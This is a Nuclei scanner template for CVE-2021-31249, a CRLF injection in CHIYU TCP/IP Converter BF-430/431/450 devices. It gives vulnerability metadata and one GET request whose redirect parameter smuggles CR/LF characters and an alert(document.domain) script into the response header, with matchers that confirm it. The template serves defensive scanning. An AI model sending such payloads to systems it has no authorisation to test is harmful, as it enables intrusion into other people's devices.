48 lines
2.0 KiB
YAML
48 lines
2.0 KiB
YAML
id: CVE-2021-31249
|
|
|
|
info:
|
|
name: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection
|
|
author: geeknik
|
|
severity: medium
|
|
description: CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
|
|
reference:
|
|
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
|
|
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
|
|
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31249
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2021-31249
|
|
cwe-id: CWE-74
|
|
epss-score: 0.00331
|
|
epss-percentile: 0.67852
|
|
cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: chiyu-tech
|
|
product: bf-430_firmware
|
|
tags: cve,cve2021,chiyu,crlf,iot
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "Location: setting.htm"
|
|
- "<script>alert(document.domain)</script>"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
|
|
# digest: 4a0a004730450220254134013e438d943adc182fcbf79f7e5d028a0594981b916ac03351aca9eb6f02210099949f05f411b9ab104672a65bf9c1b0da21d35caefd2cc70bfad3583b329677:922c64590222798bb761d5b6d8e72950
|